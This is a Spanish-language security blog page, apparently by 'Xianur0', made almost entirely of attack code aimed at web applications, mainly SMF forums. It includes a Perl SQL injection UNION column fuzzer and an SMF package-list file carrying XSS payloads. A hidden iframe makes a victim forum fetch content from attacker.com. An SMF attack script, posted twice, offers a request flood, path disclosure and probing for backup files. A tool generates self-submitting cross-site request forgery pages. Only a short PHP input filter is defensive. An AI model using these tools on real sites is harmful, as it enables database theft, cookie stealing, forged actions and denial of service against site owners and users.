Blog de Xianur0

<?php
function detectar($ascii) {
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = ord($ascii{$i});
if($byte >=48 && $byte <=57 || $byte >=64 && $byte <=90 || $byte >=97 && $byte <=122 || $byte == 46) {
$hex .= chr($byte);
} else { print "Injeccion de Caracteres Detectado!\n"; exit; }
}
return $hex;
}

foreach($_GET as $var => $value) {
$value = detectar($value);
$_GET[$var] = $value;
}

foreach($_POST as $var => $value) {
$value = detectar($value);
$_GET[$var] = $value;
}
?>

#!/usr/bin/perl
#By Xianur0
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my $uri = $ARGV[0];
$uri = shift || die("Uso: fuzzer.pl [URI a SQL Injection]\n");
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16");
my $inyeccion = "-10/**/UNION/**/SELECT/**/concat(0x46757a7a657242795869616e757230,0)";
$uri .= "$inyeccion";
for($i=1; $i<1000;$i++) {
$uri .= ",concat(0x46757a7a657242795869616e757230,$i)";
$req = HTTP::Request->new(GET => $uri);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if($res->content !~ "The used SELECT statements have a different number of columns") {
for($o=0; $o<=$i;$o++) {
if($res->content =~ "FuzzerByXianur0$o") {
print "Imprime Columna: $o\n";
}
} die "URI Generado: \n$uri\n";}}

<?xml version="1.0"?>
<!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list">
<!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
XSRF PoC By Xianur0
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->

<package-list xmlns="http://www.simplemachines.org/xml/package-list" xmlns:smf="http://www.simplemachines.org/">
<list-title>Xianur0 Was Here</list-title>

<section>
    <title>SMF XSS PoC By Xianur0</title>
    <text><![CDATA[<script>alert('XSS')</script>]]></text>
    <modification>
        <id>Xianur0:XSMF</id>
        <name>SMF PoC By Xianur0</name>
        <filename>smfexploit.zip</filename>
        <version>0.1</version>
        <author email="uxmal666@gmail.com">Xianur0</author>
        <description><![CDATA[<script>alert(document.cookie)</script>]]></description>
    </modification>
</section>
</package-list>

<iframe src ="http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com" width="0%" scrolling=no width=0%></iframe>

if (!isset($_GET['page']) || !isset($context['all_pages'][$
_GET['page']]))
$_GET['page'] = 'index';

if (!is_array($_GET['page']) && !isset($_GET['page']) || !is_array($_GET['page']) &&  !isset($context['all_pages'][$_GET['page']]))
$_GET['page'] = 'index';

#!/usr/bin/perl

use LWP::UserAgent;
use Getopt::Std;


my $url = $ARGV[1] || die ("Use: smf.pl [Full URL] [option]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l Installed Mods List \n-b Find Temporary\n");


$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');

    getopts('fplb', \%opt);
    flood() if $opt{f};
    path() if $opt{p};
    list() if $opt{l};
    temp() if $opt{b};

sub headers {
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
}

sub path {
$req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers');
&headers;
$res = $ua->request($req);
if ($res->is_success) {
 my $html = $res->content;
 my @htmls = split('Undefined variable: ssi_layers in <b>', $html);
 my @htmls = split('SSI.php</b>', $htmls[1]);
if($htmls[0] ne "") { print "Directory: $htmls[0]\n"; } else { print "Getting error Directory!\n";}
}
}

sub flood {
print "Starting Flood! (Press Ctrl + C To Finish)\n";
$texto = "Flood!!!!!" x 15;
$req = HTTP::Request->new(GET => $url.'/index.php?action=help;page['.$texto.']=loginout');
&headers;
for($i = 1; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "Sent: ".$i."\n";
} else {
print "HTTP Error Query: " . $res->status_line . "\n";
}
}
}


sub temp {
@temps=('index.php~','Settings.php~','Settings_bak.php~');
foreach $temp (@temps) {
$req = HTTP::Request->new(GET => $url."/".$temp);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
print "Temporary File Found: ".$url."/".$temp."\n";
}
}
}

sub list {
$req = HTTP::Request->new(GET => $url."/Packages/installed.list");
&headers;
$res = $ua->request($req);
if ($res->is_success) {
 my $html = $res->content;
my @htmls = split("\n", $html);
foreach $mod (@htmls) {
my @mod = split('\|\^\|', $mod);
print "Description: $mod[0]\nFile: $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";

}
}
}

#!/usr/bin/perl

# By Xianur0

use LWP::UserAgent;
use Getopt::Std;


my $url = $ARGV[1] || die ("Use: smf.pl [Full URL] [option]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l Installed Mods List \n-b Find Temporary\n");


$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');

      getopts('fplb', \%opt);
      flood() if $opt{f};
      path() if $opt{p};
      list() if $opt{l};
      temp() if $opt{b};

sub headers {
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,
en;q=0.3');
}

sub path {
$req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers');
&headers;
$res = $ua->request($req);
if ($res->is_success) {
   my $html = $res->content;
   my @htmls = split('Undefined variable: ssi_layers in <b>', $html);
   my @htmls = split('SSI.php</b>', $htmls[1]);
  if($htmls[0] ne "") { print "Directory: $htmls[0]\n"; } else { print "Getting error Directory!\n";}
}
}

sub flood {
print "Starting Flood! (Press Ctrl + C To Finish)\n";
$texto = "Flood!!!!!" x 15;
$req = HTTP::Request->new(GET => $url.'/index.php?action=help;page['.$texto.']=loginout');
&headers;
for($i = 1; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "Sent: ".$i."\n";
} else {
print "HTTP Error Query: " . $res->status_line . "\n";
}
}
}


sub temp {
@temps=('index.php~','Settings.php~','Settings_bak.php~');
 foreach $temp (@temps) {
$req = HTTP::Request->new(GET => $url."/".$temp);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
print "Temporary File Found: ".$url."/".$temp."\n";
}
}
}

sub list {
$req = HTTP::Request->new(GET => $url."/Packages/installed.list");
&headers;
$res = $ua->request($req);
if ($res->is_success) {
   my $html = $res->content;
my @htmls = split("\n", $html);
 foreach $mod (@htmls) {
my @mod = split('\|\^\|', $mod);
print "Description: $mod[0]\nFile: $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";

}
}
}

#!/usr/bin/perl

#By Xianur0
#uxmal666[at]gmail.com
  use HTML::Parser;
$i = 1;
$b = 1;
my $parser = HTML::Parser->new(api_version=>3,
start_h=>[\&parsear, 'tag, attr'] ,);
print "\n\n                                       Generador XSRF By Xianur0\n\n\n";

$file = $ARGV[0] || die("Use: xsrf.pl [File]\n");

open(FILE,$file) || die "No pudo abrirse: $!";
while(<FILE>) {
$html.= $_;
}
print "\nBuscando Campos....\n";
sub parsear {
     my ($tag, $attr) = @_;
if($tag =~ "form") {
$name = $attr->{"name"};
if($name eq "") { $name = "campo" }
$valor = $attr->{"action"};
$metodo = $attr->{"method"};
if($metodo eq "") { $metodo = "GET"}
print "\nFormulario ".$b.": ".$name."=>".$valor."=>".$metodo."\n";
    $form{$b} = [$name, $metodo];
$b++;
}
if($tag =~ "input") {
$name = $attr->{"name"};
$valor = $attr->{"value"};
print "Campo ".$i.": ".$name."=>".$valor."\n";
    $input{$i} = [$name, $valor];
$i++;
}
}
$parser->parse($html);
print "\nTerminado Archivo Parseado!..\n\n";
print "\nEscribe el Formulario a utilizar:\n";
$forma=<STDIN>;
chop($forma);
print "Cuantos Campos(input) utilizara?\n";
$cantidad=<STDIN>;
chop($cantidad);
for($o=1;$o<=$cantidad;$o++)
{
print "Formulario $o?\n";
$inputa=<STDIN>;
chop($inputa);
print "Desea Cambiar el Value? [y/n]\n";
$respuesta=<STDIN>;
chop($respuesta);
if($respuesta eq "y") { 
print "Escriba el Nuevo Valor:\n";
$valu=<STDIN>;
chop($valu);
} else { $valu = $input{$inputa}[1]; }
$campos .='<input type="hidden" name="'.$input{$inputa}[0].'" value="'.$valu.'">';
}
print "Url Submit?\n";
$url=<STDIN>;
chop($url);
print "Generando XSRF Espere Por Favor...\n";
$xsrf = '<html><body><!-- XSRF Generator By Xianur0 -->
<form name="'.$form{$forma}[0].'" action="'.$url.'" method="'.$form{$forma}[1].'">'.$campos.'</form>
<script>document.'.$form{$forma}[0].'.submit()</script></html></body>';
open(LECTURA,">> xsrf.htm") || die "No pudo abrirse: $!";
print LECTURA $xsrf;
close(LECTURA);
print "\n\nGenerado!: xsrf.html\n\n";